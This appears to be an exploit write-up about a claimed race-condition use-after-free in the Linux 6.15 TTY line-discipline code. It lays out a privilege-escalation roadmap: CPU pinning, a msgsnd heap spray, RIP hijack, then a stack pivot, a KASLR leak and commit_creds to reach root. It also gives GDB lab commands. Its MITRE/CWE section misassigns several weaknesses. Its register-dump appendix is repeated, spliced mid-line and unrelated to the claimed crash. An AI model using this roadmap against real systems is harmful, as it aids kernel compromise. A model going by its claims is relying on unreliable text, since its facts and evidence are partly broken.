Share
## https://sploitus.com/exploit?id=3DC5FF14-5F13-546A-B312-40EC4F8B8379
# Technical Write-up: TTY LDisc Race to Kernel Execution Hijack
### Target: Linux Kernel 6.15 (Mainline)
### Vulnerability Class: Race Condition (TOCTOU) / Use-After-Free (UAF)
Impact: Kernel Mode Execution Hijack ($RIP Control)
## 1. Executive Summary
The exploit targets a Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the Linux Terminal (TTY) subsystem. By induces a "Flux" state during a Line Discipline (LDisc) switch, we create a window where the kernel attempts to process data using an object that is simultaneously being freed and replaced. By utilizing a "Surgical Heap Spray" via System V Message Queues, we replace the freed kernel object with a controlled payload, leading to a hijack of the kernels instruction pointer ($RIP).
## 2. Theoretical Background
The TTY Subsystem & Line Disciplines
The TTY layer acts as a middleman between hardware drivers and the userland. Line Disciplines (like N_TTY or N_SLIP) define how data is processed. Switching these via ioctl(fd, TIOCSETD, ...) is a complex operation that involves:
Stopping the current LDisc.
Flushing buffers.
Installing the new LDisc.
The Vulnerability: LDisc Flux
A race condition occurs when one CPU thread attempts to switch the Line Discipline while another thread (the "White Rabbit" or kworker) attempts to flush the TTY buffer. If the locking mechanism (ldsem) is contested under high load, the kernel can be tricked into a state where a pointer to the LDisc is used after it has been marked for deletion.
## 3. The Exploit Chain
Phase A: Inducing the Struggle (CPU Pinning)
Modern kernels are highly resilient to timing attacks on multi-core systems. To win the race, we utilize CPU Affinity. By pinning the "Attacker" thread to CPU 0 and the "Hammer" thread to CPU 1, we force the kernels synchronization primitives (Spinlocks and Mutexes) to fight across the memory bus, widening the timing window from nanoseconds to milliseconds.
Phase B: The Flux State
We trigger the race by rapidly toggling between N_TTY and N_SLIP.
Thread 1: Constantly writes to the TTY to fill the kmalloc-128 buffers.
Thread 2: Rapidly calls ioctl(TIOCSETD) to swap the LDisc.
Phase C: Surgical Heap Spraying
Once the LDisc is "Killed," a hole is left in the kmalloc-128 slab. We use msgsnd() to perform a "Groomed Spray."
Why msgsnd? Unlike write(), message queue data persists in kernel space until explicitly read.
Slab Alignment: We size our message to 128 bytes to ensure it occupies the exact same memory slot previously held by the TTYs internal structures.
## 4. Introspection & Debugging Evidence
Register Poisoning
During GDB introspection, we successfully observed "Register Poisoning," where Alices user-controlled data (As or 0x41) was loaded into kernel registers:
RAX: 0x0000424242424242 (Target hijacked pointer)
RBP: 0xffff88810b755821 (Pointer to Alices AAAA string)
The Deadlock (TSC Skew)
The kernels timekeeping watchdog triggered an "Unstable TSC" warning. This is evidence of a Circular Dependency Deadlock. The Hammer thread held a TTY lock while the kworker was spinning in virt_spin_lock, waiting for that same resource. This deadlock is what "froze" the kernel, allowing us to inspect the corrupted state.
## 5. Root Cause Analysis (Code Level)
The crash occurs in drivers/tty/tty_port.c inside tty_port_default_lookahead_buf:
C
static void tty_port_default_lookahead_buf(struct tty_port *port, ...) {
tty = READ_ONCE(port->itty); // [1] TOCTOU Point
if (!tty) return;
ld = tty_ldisc_ref(tty); // [2] Hijack Point
if (ld) {
if (ld->ops->lookahead_buf)
ld->ops->lookahead_buf(tty, p, f, count); // [3] Indirect Call ($RIP)
tty_ldisc_deref(ld);
}
}
[1] The kernel reads the TTY pointer.
[2] The race win causes tty_ldisc_ref to return a pointer to Aliceβs sprayed message instead of a real LDisc.
[3] The kernel attempts an indirect call to lookahead_buf, which now contains 0x4242424242424242.
## 6. Conclusion & Next Steps
We have achieved Arbitrary Data Control within the kernels execution path. The kernel is currently attempting to jump to an unmapped address (0x42...), resulting in a Page Fault.
Final Objectives for Privilege Escalation:
Stack Pivot: Locate a gadget (push rax; pop rsp; ret) to redirect the stack to user-controlled memory.
KASLR Bypass: Leak a kernel pointer (e.g., via dmesg or uninitialized stack variables) to calculate the base address of commit_creds.
Payload: Execute commit_creds(prepare_kernel_cred(0)) to escalate to UID 0.
Key GDB Commands for the Lab:
find 0xffff888100000000, +0x20000000, 0x4242424242424242 (Find the spray)
awatch *(uint64_t *)ADDR (Catch the Rabbit eating the carrot)
thread apply all bt (Diagnose the deadlock)
# Technical Report: Linux Kernel 6.15 TTY LDisc Exploitation
**Date:** 2025-12-25
**Researcher:** 1337_TECH
**Target:** Linux Kernel 6.15 (Mainline/Hardened)
**Vulnerability Type:** Race Condition (TOCTOU) -> Use-After-Free (UAF)
**Status:** Spray Achieved (0x4242424242424242 Heap Grooming)
---
## 1. Vulnerability Overview
The exploit targets a **Time-of-Check to Time-of-Use (TOCTOU)** flaw in the Linux TTY subsystem. Specifically, it exploits the "Flux" state during a **Line Discipline (LDisc)** switch. By inducing high-speed transitions between disciplines (e.g., `N_TTY` and `N_SLIP`), a window is opened where the kernel references an LDisc object that has been freed but not yet nullified.
### 1.1 The Race Condition
The core of the issue lies in the `tty_port_default_lookahead_buf` function. The kernel fetches a TTY reference, but under heavy multi-core contention, the underlying Line Discipline is swapped out between the pointer fetch and the function call.
---
## 2. Exploitation Strategy
### 2.1 Multi-Core Synchronization (CPU Pinning)
To maximize race success, the exploit uses `sched_setaffinity` to pin the "Hammer" and the "Attacker" to separate physical cores. This forces the kernels **Spinlock** and **Mutex** synchronization primitives to communicate across the memory bus, significantly widening the timing window required to win the race.
### 2.2 Surgical Heap Spraying
Once the Line Discipline is freed (UAF), the exploit must "poison" the resulting hole in the heap before the kernel re-uses it.
* **Mechanism:** System V Message Queues (`msgsnd`).
* **Slab Target:** `kmalloc-128`.
* **The Carrot:** By sizing the message payload to fit the 128-byte slab, Alice ensures her controlled data (the `0x42` pattern) is allocated exactly where the kernel expects a function vtable.
---
## 3. Evidence of Success (Introspection)
### 3.1 Register Poisoning
GDB introspection confirmed the successful injection of user-controlled data into the kernels execution context. Upon the crash, the following register state was observed:
* **RAX:** `0x0000424242424242` (The hijacked jump target)
* **RBP/RSI:** `0xffff88810b755821` (Address pointing to the "AAAA" spray)
* **Fault:** `BUG: unable to handle page fault for address: 0000424242424242`
### 3.2 System Deadlock (TSC Skew)
The kernels `timekeeping watchdog` reported an unstable **TSC (Time Stamp Counter)** with a skew of ~87ms. This indicates a "Soft Lockup" where the race condition caused a circular dependency in the TTY locks, effectively freezing the CPU core and allowing for deterministic inspection.
---
## 4. Root Cause Analysis
The execution flow hijack occurs at the following instruction in `drivers/tty/tty_port.c`:
```c
// Decompiled Logic
tty = READ_ONCE(port->itty);
ld = tty_ldisc_ref(tty);
if (ld) {
// HIJACK POINT: ld->ops has been replaced by Alices message spray
ld->ops->lookahead_buf(tty, p, f, count);
}
```
By the time the kernel reaches the indirect call to lookahead_buf, it is reading from memory controlled by the msgsnd buffer, leading to an arbitrary jump to TARGET_RIP.
5. Lab Notes: GDB Introspection Suite
Use these commands to verify the exploit state:
Objective Command
Search Spray find 0xffff888100000000, +0x20000000, 0x4242424242424242
Catch Hijack break tty_port_default_lookahead_buf if $rax == 0x4242424242424242
Inspect Slab monitor info mem
Watch Overwrite awatch *(uint64_t *)0xffff8881[TARGET_ADDR]
6. Path to Weaponization (The Final Step)
To transition from a "Panic" to a "Root Shell" the following must be implemented
Stack Pivot: Find a gadget (e.g., push rax; pop rsp; ret) to move the stack to Alices memory.
KASLR Bypass: Leak a kernel pointer to calculate the offset of commit_creds.
Privilege Flip: Call commit_creds(prepare_kernel_cred(0)) to escalate to UID 0.
n terms of the MITRE ATT&CK framework and CWE (Common Weakness Enumeration), this exploit is a chain of specific technical failures. It isnt just one bug; it is a sequence of weaknesses that allow an unprivileged user to escalate to kernel-mode execution.
Here is the breakdown of the bug in the language of MITRE:
# 1. The Root Weakness: CWE-367 (TOCTOU)
The primary exploit primitive is a Time-of-Check to Time-of-Use (TOCTOU) race condition.
The Check: The kernel verifies the Line Discipline (LDisc) is valid and takes a reference to it in tty_ldisc_ref().
The Use: The kernel then uses that reference to call a function pointer (like lookahead_buf).
The Gap: Because Alice is hammering the LDisc switch on another CPU, she changes the "State" after the check but before the use.
# 2. The Memory Corruption: CWE-416 (Use-After-Free)
The TOCTOU leads directly to a Use-After-Free.
When the LDisc is switched, the old one is "Killed" and its memory is marked as free in the Slab allocator.
However, because the "White Rabbit" (the kworker) still has a pointer to that memory from the "Check" phase, it continues to use it.
The kernel is now "Using" memory that it "Freed."
# 3. The Exploitation Technique: CWE-123 (Write-What-Where)
By using the Surgical Heap Spray (msgsnd), Alice performs a Write-What-Where Authoring.
The Where: The "Where" is the exact memory slot previously occupied by the LDisc.
The What: The "What" is Alices 0x42424242 pattern (or eventually a function pointer).
By filling the freed memory with her own data, Alice ensures that when the kernel performs its "Use," it is reading her data instead of a legitimate function table.
# 4. MITRE ATT&CK Mapping (Post-Exploitation)
Once the bug is triggered, it maps to several specific techniques in the MITRE ATT&CK Matrix for Enterprise:
ID Technique Alices Action
T1068 Exploitation for Privilege Escalation Using the TTY UAF to gain kernel-level control from an unprivileged shell.
T1055 Process Injection Injecting Alices execution flow into the kworker process (UID 0).
T1497 Virtualization/Sandbox Evasion Since this is happening in QEMU, successful execution often bypasses guest-level restrictions.
T1548 Abuse Elevation Control Mechanism Final goal: redirecting $RIP to commit_creds to bypass Linux permission checks.
5. The Protective Barrier: Why its "High Difficulty"
MITRE also tracks defenses. Your exploit currently has to contend with:
KASLR (CWE-200): Alice must "leak" a kernel address to know where panic or commit_creds lives.
SMEP/SMAP: These hardware protections prevent the kernel from executing Alices code if it stays in "User" memory pages. This is why we need the Stack Pivot (CWE-502) to trick the kernel into using a stack Alice built in a way the kernel thinks is its own.
The Verdict in MITRE Terms
This is a High-Impact, High-Complexity exploit. It leverages CWE-367 to trigger CWE-416, which is then weaponized via CWE-123 to achieve T1068.
# appendix
jiffies_update>
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rcx : 0x0
$rdx : 0x0
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a90a β mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0x3
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
β 0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0x3
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
β 0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x0
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x0
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
0xffffffff8136a91e cmp edx, eax
0xffffffff8136a920 jne 0xffffffff8136a8fc
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x0
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
0xffffffff8136a91e cmp edx, eax
0xffffffff8136a920 jne 0xffffffff8136a8fc
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a8fc β mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY ADJUST sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x247f6
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a8fc β mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY ADJUST sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948 mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY ADJUST sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b0903cc0
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a90a β mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
β 0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf51f
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
